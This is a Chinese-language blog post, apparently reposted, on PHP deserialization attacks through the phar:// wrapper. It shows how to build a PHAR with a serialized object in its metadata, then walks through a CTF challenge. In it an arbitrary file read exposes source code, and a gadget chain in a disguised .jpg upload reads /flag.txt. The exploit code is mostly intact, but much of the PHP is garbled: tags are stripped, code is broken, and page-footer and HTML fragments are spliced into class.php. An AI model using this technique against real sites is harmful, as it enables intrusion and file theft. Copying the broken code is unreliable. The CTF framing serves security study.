技术分享 | 利用PHAR协议进行PHP反序列化攻击

技术分享 | 利用PHAR协议进行PHP反序列化攻击PHAR 是 PHP 中的打包文件 相当于 Java 中的 JAR 文件 在 php5 3 或者更高的版本中默认开启

欢迎大家来到IT世界,在知识的湖畔探索吧!

PHAR (“Php ARchive”) 是PHP中的打包文件,相当于Java中的JAR文件,在php5.3或者更高的版本中默认开启。PHAR文件缺省状态是只读的,当我们要创建一个Phar文件需要修改php.ini中的phar.readonly,修改为:phar.readonly = 0

当通过phar://协议对phar文件进行文件操作时,将会对phar文件中的Meta-data进行反序列化操作,可能造成一些反序列化漏洞。

本文由锦行科技的安全研究团队提供,从攻击者的角度展示了PHAR反序列化攻击的原理和过程。

PHAR文件结构

stub phar:文件标识,格式为xxx
,该部分必须以 __HALT_COMPILER();?> 进行结尾,否则将无法识别,前面的内容无限制要求。

manifest:压缩文件的属性等信息,其中的Meta-data会以序列化的形式存储。

技术分享 | 利用PHAR协议进行PHP反序列化攻击



欢迎大家来到IT世界,在知识的湖畔探索吧!

contents:压缩文件的内容

signature:签名,放在文件末尾

生成PHAR文件

生成程序如下:

 
   startBuffering(); $phar -> setStub(" 
  ");    //设置Stub $o = new Test(); $o -> data='test'; $phar -> setMetadata($o);    //设置Meta-data $phar -> addFromString("test.txt", "test");    //添加要压缩的文件 //签名自动计算 $phar -> stopBuffering(); ?>

欢迎大家来到IT世界,在知识的湖畔探索吧!

生成phar文件,使用16进制工具查看,可以看到Meta-data中的序列化对象

技术分享 | 利用PHAR协议进行PHP反序列化攻击

测试反序列化

测试程序如下:

欢迎大家来到IT世界,在知识的湖畔探索吧! 
   data;   //对象销毁时执行     } } include('phar://phar.phar'); ?>

运行结果,可以看到打印了‘test’,证明对象被反序列化创建后销毁。

技术分享 | 利用PHAR协议进行PHP反序列化攻击

虽然在创建PHAR文件时后缀是固定的,但完成创建后我们是可以修改phar的后缀名的,例如修改成.jpg,当执行include(‘phar://phar.jpg’);时也可触发反序列化。

几乎所有文件操作函数都可触发phar反序列化

技术分享 | 利用PHAR协议进行PHP反序列化攻击

CTF演示

题目地址:[CISCN2019 华北赛区 Day1 Web1]Dropbox(链接:
https://buuoj.cn/challenges#
%5BCISCN2019%20%E5%8D%8E%E5%8C%97%E8%B5%9B%E5%8C%BA%20Day1%20Web1%5DDropbox)

进入题目后,随意注册账号上传文件,上传点只能上传图片后缀

技术分享 | 利用PHAR协议进行PHP反序列化攻击

点击下载,有任意文件读取,但是不能读取flag.txt

技术分享 | 利用PHAR协议进行PHP反序列化攻击

于是读取网页源码,传入filename=../../xxx.php

detele.php

<?php session_start(); if (!isset($_SESSION['login'])) {    header("Location: login.php");    die(); } if (!isset($_POST['filename'])) {    die(); } include "class.php"; chdir($_SESSION['sandbox']); $file = new File(); $filename = (string) $_POST['filename']; if (strlen($filename) < 40 file->open($filename)) {    $file->detele();    Header("Content-type: application/json");    $response = array("success" => true, "error" => "");    echo json_encode($response); } else {    Header("Content-type: application/json");    $response = array("success" => false, "error" => "File not exist");    echo json_encode($response); } ?>

class.php

欢迎大家来到IT世界,在知识的湖畔探索吧! 
  db = $db;    }    public function user_exist($username) {        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");        $stmt->bind_param("s", $username);        $stmt->execute();        $stmt->store_result();        $count = $stmt->num_rows;        if ($count === 0) {            return false;        }        return true;    }    public function add_user($username, $password) {        if ($this->user_exist($username)) {            return false;        }        $password = sha1($password . "SiAchGHmFx");        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");        $stmt->bind_param("ss", $username, $password);        $stmt->execute();        return true;    }    public function verify_user($username, $password) {        if (!$this->user_exist($username)) {            return false;        }        $password = sha1($password . "SiAchGHmFx");        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");        $stmt->bind_param("s", $username);        $stmt->execute();        $stmt->bind_result($expect);        $stmt->fetch();        if (isset($expect) && $expect === $password) {            return true;        }        return false;    }    public function __destruct() {        $this->db->close();    } } class FileList {    private $files;    private $results;    private $funcs;    public function __construct($path) {        $this->files = array();        $this->results = array();        $this->funcs = array();        $filenames = scandir($path);        $key = array_search(".", $filenames);        unset($filenames[$key]);        $key = array_search("..", $filenames);        unset($filenames[$key]);        foreach ($filenames as $filename) {            $file = new File();            $file->open($path . $filename);            array_push($this->files, $file);            $this->results[$file->name()] = array();        }    }    public function __call($func, $args) {        array_push($this->funcs, $func);        foreach ($this->files as $file) {            $this->results[$file->name()][$func] = $file->$func();        }    }    public function __destruct() {        $table = ' 
  

分析源代码 可以看到删除文件时使用了File类的delete函数,File类的delete使用了unlink函数,可以触发phar反序列化。 继续看到class.php的File类的close()函数中调用了file_get_contents函数,可以读取文件。但是要怎么触发呢,我们可以看到FileList的__call函数,如果我们可以让FileList参数files为数组且数组中一个类为File,只要有类可以执行$FileList->close(),就可以读取文件并在FileList的析构函数中显示出来了。我们看到User类的析构函数,执行了$db->close()。so,我们让User的$db参数等于FileList就行了。 利用链:User类的$db赋值为FileList类,User类的析构函数执行close方法->触发FileList的__call函数,让$file值为File,执行$file的close函数->File执行close读取文件,控制$filename为想读取的文件->FileList对象销毁,执行析构函数,回显结果。 生成phar文件代码
 
      filename = $filename;    } } class FileList{    private $files;    public function __construct(){        $this->files=array(new File('/flag.txt'));    } } $user = new User(); $user->db = new FileList(); $phar = new Phar("phar.phar"); $phar -> startBuffering(); $phar -> setStub(" 
      "); $phar -> setMetadata($user); $phar->addFromString("test.txt", "test"); $phar -> stopBuffering(); ?>

生成phar文件,修改后缀为jpg,上传
删除文件处修改filename为‘phar://phar.jpg’,读取到flag文件

技术分享 | 利用PHAR协议进行PHP反序列化攻击

举报

评论
0

    • 点击回到头条首页

      首页

    • 下载
      扫码下载今日头条

    • 顶部
    ';        $table .= '

    ';        foreach ($this->funcs as $func) {            $table .= '

    ';        }        $table .= '

    ';        $table .= '

    ';        foreach ($this->results as $filename => $result) {            $table .= '

    ';            foreach ($result as $func => $value) {                $table .= '

    ';            }            $table .= '

    ';            $table .= '

    ';        }        echo $table;    } } class File {    public $filename;    public function open($filename) {        $this->filename = $filename;        if (file_exists($filename) && !is_dir($filename)) {            return true;        } else {            return false;        }    }    public function name() {        return basename($this->filename);    }    public function size() {        $size = filesize($this->filename);        $units = array(' B', ' KB', ' MB', ' GB', ' TB');        for ($i = 0; $size >= 1024 && $i < 4 i size return roundsize 2.unitsi public function detele unlinkthis->filename);    }    public function close() {        return file_get_contents($this->filename);    } } ?>








    ' . htmlentities($func) . ' Opt
    ' . htmlentities($value) . ' 涓嬭浇 / 鍒犻櫎

    免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://itzsg.com/112430.html

    (0)
    上一篇 25分钟前
    下一篇 10分钟前

    相关推荐

    发表回复

    您的邮箱地址不会被公开。 必填项已用 * 标注

    联系我们YX

    mu99908888

    在线咨询: 微信交谈

    邮件:itzsgw@126.com

    工作时间:时刻准备着!

    关注微信